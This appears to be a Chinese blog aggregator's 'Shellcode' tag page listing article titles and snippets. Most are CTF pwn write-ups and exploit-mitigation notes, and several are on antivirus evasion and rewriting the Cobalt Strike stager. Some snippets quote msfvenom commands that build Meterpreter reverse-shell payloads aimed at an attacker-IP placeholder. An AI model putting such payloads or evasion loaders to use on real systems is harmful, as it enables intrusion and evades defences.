Shellcode

[0xGame 2023 公开赛道] week3

PWNedit-shellcode-runtime可以输入shellcode然后执行，但是禁用了\x0f\x05(syscall，箭头处)，这里需要用前边的程序把这个syscall弄出来。
石氏是时试·2023-10-22 05:38

CVE-2019-9766漏洞实战

1.利用msf生成反向连接的shellcode2.构造具有反弹shell的MP3文件将上一步标记的部分替换脚本中的shellcode3.运行脚本,生成恶意mp3文件4.msf设置监听并运行exploit5
儒道易行·2023-10-21 20:22

msf生成linux shellcode,使用MSF打造各种ShellCode

生成各种后门Windows:msfvenom-ax86--platformWindows-pwindows/meterpreter/reverse_tcpLHOST=攻击机IPLPORT=攻击机端口-ex86/shikata_ga_nai-b'\x00\x0a\xff'-i3-fexe-opayload.exeLinux:msfvenom-ax86--platformLinux-plinux/x8
weixin_39866419·2023-10-20 03:10

Kali Linux学习笔记—Windows缓冲区溢出攻击

PASS命令接收到大量数据时是否会溢出02.py3.精确定位EIP中存放的是第几个字符03.py4.精确定位唯一字符串法04.py5.精确修改—发送A*2606+B*4+C*2005.py6.寻找可存放shellcode
江河湖海：D·2023-10-19 02:09

CS 4.7 Stager 逆向及 Shellcode 一

1.概述一直很想有一个自己的控，奈何实力不允许，CS仍然是目前市面上最好用的控，但是也被各大厂商盯得很紧，通过加载器的方式进行免杀效果有限，后来看到有人用go重写了CS的beacon，感觉这个思路很好，但是go编译的也有很多问题，加载起来会有很多受限的地方，所以想着能不能用C去重写一个，不过beacon的功能很多，短时间去重写有点费劲，所以想先重写CS的stager部分，并能转化成shellcod
喜欢蹲局子的小猿同学·2023-10-17 23:54

CS 4.7 Stager 逆向及 Shellcode 重写4

1.概述一直很想有一个自己的控，奈何实力不允许，CS仍然是目前市面上最好用的控，但是也被各大厂商盯得很紧，通过加载器的方式进行免杀效果有限，后来看到有人用go重写了CS的beacon，感觉这个思路很好，但是go编译的也有很多问题，加载起来会有很多受限的地方，所以想着能不能用C去重写一个，不过beacon的功能很多，短时间去重写有点费劲，所以想先重写CS的stager部分，并能转化成shellcod
喜欢蹲局子的小猿同学·2023-10-17 23:53

Windows内核-远程CALL(劫持线程)

以劫持线程的方式实现远程CALL包括劫持原理，代码实现获取主线程挂起线程函数定位恢复线程函数定位获取当前线程RIP构建shellcode劫持RIP及修复返回地址测试DNF喇叭公告对游戏安全感兴趣人群学习地址
游戏逆向·2023-10-14 21:28

[BUUCTF]PWN——jarvisoj_level1

习惯性的检索程序里的字符串，没有发现可以直接利用的gates，main函数开始看程序function函数参数buf存在明显的溢出漏洞，程序还将buf参数的地址给了我们由于没有开启nx，所以我们可以先通过read读入shellcode
Angel~Yan·2023-10-14 20:24

七天学习Go语言-从0到0.01

前言：（不喜欢的跳过）最近，准确的说近几年来Go语言就一直都是一个十分热门的语言，特别是对于安全圈，其实用python的脚本的一直都高过于go脚本，不过近些来也有很多奇奇怪怪的面试官喜欢问，go语言免杀shellcode
vlan911·2023-10-13 04:47

python加载shellcode免杀

1、第一个shellcode加载器importctypes#msf生成的shellcode，命令：msfvenom-ex64/xor_dynamic-i16-pwindows/x64/meterpreter_reverse_tcplhost
ctostm·2023-10-13 00:27

NewStarCTF 公开赛wp

NewStarCTF公开赛wpret2textcalcret2libcret2shellcoderet2text这里有个栈溢出，话不多说，上脚本。
thna0s·2023-10-10 22:46

Shellcode免杀，过360、火绒、windows-Defender

shellcode简介Shellcode，顾名思义是一段拿来执行的代码片段，我们可以使用Shellcode来完成我们需要的任务弹窗的代码，可以被认为是一段Shellcode，获取某个模块的基址的代码，也可以被认为是一段
刘—手·2023-10-07 18:04

ret2syscall

stackoverflow/basic-rop-zh/checksec，查看程序保护机制，开了NXida，main函数，f5gets函数，存在栈溢出，先算一下偏移量为112发现nosystemandnoshellcode
y1deer·2023-10-05 01:08

0day 第10章--10.4节：攻击异常处理突破GS(2)

将SHE句柄覆盖为shellcode地址即可。
Angelki·2023-10-04 20:30

0day 第10章--10.4节：攻击异常处理突破GS(1)

将SHE句柄覆盖为shellcode地址即可。实验环境：Winxpsp3vs2010Release版本、禁用优化根据网上把safeseh关闭了，但是没用。。。
Angelki·2023-10-04 20:59

Linux pwn入门教程(2)——shellcode的使用，原理与变形

作者：Tangerine@SAINTSEC0×00shellcode的使用在上一篇文章中我们学习了怎么使用栈溢出劫持程序的执行流程。为了减少难度，演示和作业题程序里都带有很明显的后门。
张悠悠66·2023-10-04 15:12

ret2shellcode 的泄露puts@got表

disassemblemain获取read@plt地址0x4005000x000000000040067e:call0x400500disassemble0x400500地址发现[email protected]会执行jmp指令jmp到的其实这是plt表对应函数的got表查看jmp地址的内存内容x/20gx0x601028发现[email protected]保存了read函数的blic中的地址callread—>r
wing_7·2023-10-04 14:41

【pwn】记一道shellcode侧信道攻击

【pwn】记一道shellcode侧信道攻击前言契机来源于K0nashi师傅给的一道题目，让我来写写shellcode，那当然是写啊！
woodwhale·2023-10-04 14:10

利用ret2libc绕过DEP安全机制

栈空间也被操作系统设置了不可执行属性，因此注入的Shellcode就无法执行了导向系统库函数执行(ret2libc)攻击方法：系统函数库（Linux称为glibc）有个s
_well_s·2023-10-04 14:37

栈溢出学习（二）之 jmp esp & return2libc

前言栈溢出学习（二），讲述jmpesp&&return2libc原理及其实践方法系列文章栈溢出学习（一）之利用预留后门&return2shellcode栈溢出学习（二）之jmpesp&return2libc
Pz_mstr·2023-10-04 14:06

PWN ret2text

0X01什么是ROPROP就是shellcode的一种特殊写法。ROP技术就是不需要自己动手写shellcode，只是利用文件中给出的多个跳转指令，实现利用原有代码达到获取shell的目的。
prettyX·2023-10-04 14:36

linux_pwn(5)--ret2syscall x64&&[极客大挑战 2019]Not Bad

文章目录Whatisret2syscallpwn题思路例题保护机制写payload打开flag读取flag写到输出中生成shellcode开始做题调用read(0,mem,0x1000)把我们真正的shellcode
azraelxuemo·2023-10-04 14:05

PWN入门系列（3）ROP的利用

ret2shellcode原理ret2shellcode,即控制程序shellcode代码。
二进制菜鸟K1rito·2023-10-04 14:05

【PWN · ret2shellcode | “jmp esp“】[i春秋]ret2shellcode

当溢出长度不足时，如何将shellcode放入padding位值，并执行呢？
Mr_Fmnwon·2023-10-04 14:34

免杀对抗-成品EXE免杀-反特征码-通用跳转

一、exe程序生成1.使用如下shellcode加载器，生成c/c++语言的exe程序加载器：1.c#include#include#pragmacomment(linker,"/section:.data
xiaoheizi安全·2023-10-04 11:53

PWN入门（6）写入shellcode

简介“pwn"这个词的源起以及它被广泛地普遍使用的原因，源自于魔兽争霸某段讯息上设计师打字时拼错而造成的，原先的字词应该是"own"这个字，因为‘p’与‘o’在标准英文键盘上的位置是相邻的，PWN也是一个黑客语法的俚语词，是指攻破设备或者系统。发音类似"砰”，对黑客而言，这就是成功实施黑客攻击的声音，而在ctf比赛里，pwn是对二进制漏洞的利用下载这个github库，进入05文件夹https://
Ba1_Ma0·2023-10-03 22:26

PWN总结

文章目录1.gdb基本命令2.radare2基本指令3.pwnTools使用3.1.安装3.2.基本模块3.3.Tubes读写接口3.4.汇编与反汇编3.5.shellcode生成器3.6.elf文件操作
醉等佳人归·2023-10-03 00:57

pwn入门小技巧

，整数溢出，格式化字符串目前ctf的题越来越偏向于实际，有的会使用刚刚爆出来的CVE漏洞的，所以不能只局限于glibc所以可以大体分为两类把：libc,kernel栈利用：有ret2libc,ret2shellcode
是脆脆啊·2023-10-03 00:56

ciscn_2019_s_9

littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(0x8048000)RWX:HasRWXsegments32位，啥也没开，开心愉悦写shellcodeintpwn
YameMres·2023-10-01 23:08

picoctf_2018_shellcode

picoctf_2018_shellcodeArch:i386-32-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXdisabledPIE:NoPIE(
YameMres·2023-10-01 23:05

【逆向】在程序空白区添加Shellcode

目录硬编码内存对齐和文件对齐节表实战滴水逆向03-17#includeLRESULTCALLBACKWndProc(HWNDhwnd,UINTmsg,WPARAMwParam,LPARAMlParam);intWINAPIWinMain(HINSTANCEhInstance,HINSTANCEhPrevInstance,PSTRszCmdLine,intiCmdShow){//定义窗口类WNDCL
cccsl_·2023-10-01 06:34

mrctf2020_shellcode_revenge

mrctf2020_shellcode_revengeArch:amd64-64-littleRELRO:FullRELROStack:NocanaryfoundNX:NXdisabledPIE:PIEenabledRWX
YameMres·2023-09-30 13:08

Windows 内存漏洞缓解措施

Shellcode利用缓解GSGS又称栈COOKIE，主要是为了防御栈溢出，而且非常有效绕过1)使用栈中的数据结构进行绕过，典型的虚函数(对象)、数组、指针结构，COOKIE只对有字符缓冲区局部变量的函数进行防御
Flying ladybird·2023-09-30 05:04

免杀对抗-Nim语言免杀-加载工具+加载方式

Nim语言-加载工具-NimShellCodeLoader项目配置环境：1.下载Nim语言&配置bin目录环境变量链接：https://nim-lang.org/install_windows.html
xiaoheizi安全·2023-09-29 23:40

免杀对抗-无文件落地&分离拆分-文本提取+加载器分离+参数协议化+图片隐写

无文件落地&分离拆分无文件落地&分离拆分其实就是内存免杀，内存免杀是将shellcode直接加载进内存，由于没有文件落地，因此可以绕过文件扫描策略的查杀。
xiaoheizi安全·2023-09-27 10:52

免杀对抗-内存加载-shellcode转换-UUID+MAC+IPV4

内存加载-UUID地址-ShellCode转换介绍：通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符，根据标准方法生成，不依赖中央机构的注册和分配，UUID具有唯一性。
xiaoheizi安全·2023-09-27 10:16

Golang基础之关键字

Type参考##https://blog.csdn.net/SHELLCODE_8BIT/article/details/122837699type有如下几种用法：定义结构体定义接口类型定义类型别名类型查询类型定义
叱咤少帅（少帅）·2023-09-26 22:42

认识ShellCode

1认识SHELLCODEshellcode的本质其实就是一段可以自主运行的代码。
凌木LSJ·2023-09-25 15:33

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXEShellcode-生成/上线1.msf生成shellcode命令：msfvenom-pjava/meterpreter/reverse_tcpLHOST
xiaoheizi安全·2023-09-24 15:34

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线一、生成：1.msf生成C#语言的shellcode命令：msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST
xiaoheizi安全·2023-09-24 15:03

恶意软件分析资料大合集

恶意软件集合匿名代理蜜罐恶意软件样本库开源威胁情报工具其他资源检测与分类在线扫描与沙盒域名分析浏览器恶意软件文档和Shellcode文件提取去混淆调试和逆向工程网络内存取证Windows神器存储和工作流杂项资源书籍
hacker鬼七·2023-09-24 10:21

黑客圈专业术语总结

1.POC、EXP、Payload与ShellcodePOC：全称’ProofofConcept'，中文’概念验证’，常指一段漏洞证明的代码。
hacker鬼七·2023-09-24 09:51

CS 4.7 Stager 逆向及 Shellcode 重写

1.概述一直很想有一个自己的控，奈何实力不允许，CS仍然是目前市面上最好用的控，但是也被各大厂商盯得很紧，通过加载器的方式进行免杀效果有限，后来看到有人用go重写了CS的beacon，感觉这个思路很好，但是go编译的也有很多问题，加载起来会有很多受限的地方，所以想着能不能用C去重写一个，不过beacon的功能很多，短时间去重写有点费劲，所以想先重写CS的stager部分，并能转化成shellcod
小袁同学爱学习·2023-09-24 07:02

Rust免杀 Shellcode加载与混淆2

Shellcode加载方式本文的主要目的是分享Rust对shellc
小袁同学爱学习·2023-09-24 06:23

pwn — ret2shellcode

Ret2shellcode：按惯例检查保护，发现啥都没开用ida打开看main函数发现了gets和strncpy函数，将gets里的s的值存入了buf2题文中无system，无shellcode（据说是长成
YeeZi_·2023-09-24 03:16

Metasploit(二)

搜索带有0708字样的模块useexploit模块--使用模块showoptions–查看配置set…–设置配置check--漏洞检测(可省略)use–使用exploit模块攻击Metasploit生成shellcode
echokp·2023-09-23 15:56

渗透中 POC、EXP、Payload、Shellcode 的区别

渗透中PoC、Exp、Payload、Shellcode的区别不同含义：POC=ProofofConcept中文意思是“观点证明”。
Bulldozer Coder·2023-09-20 02:36

免杀对抗-Python-混淆算法+反序列化-打包生成器-Pyinstall

Python-MSF/CS生成shellcode-上线cs上线1.生成shellcode-c或者python2.打开pycharm工具，创建一个py文件，将原生态执行代码复制进去shellcode执行代码
xiaoheizi安全·2023-09-18 00:25

【操作系统安全】_Win7&Win8系列提权漏洞

文章目录漏洞概述和复现复现环境复现过程管理员身份复现普通用户复现基础知识系统调用SSDT表和ShadowSSDT表和HalDispatchTable硬件抽象层调度表R3任意修改R0地址空间内存漏洞原理查看exp源代码漏洞分析利用漏洞写一段获取System进程令牌的shellcode
区块链市场观察家·2023-09-17 01:08

pwnable.kr之echo1

拖进IDA分析第一项选项对应的函数是echo1,该函数存在明显的栈溢出.echo1-2.JPGecho1-3.JPG如果checksec的话可以发现该elf缓解技术几乎没开,可以采用覆盖返回值+跳转到shellcode
hyrathon·2023-09-15 09:56
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他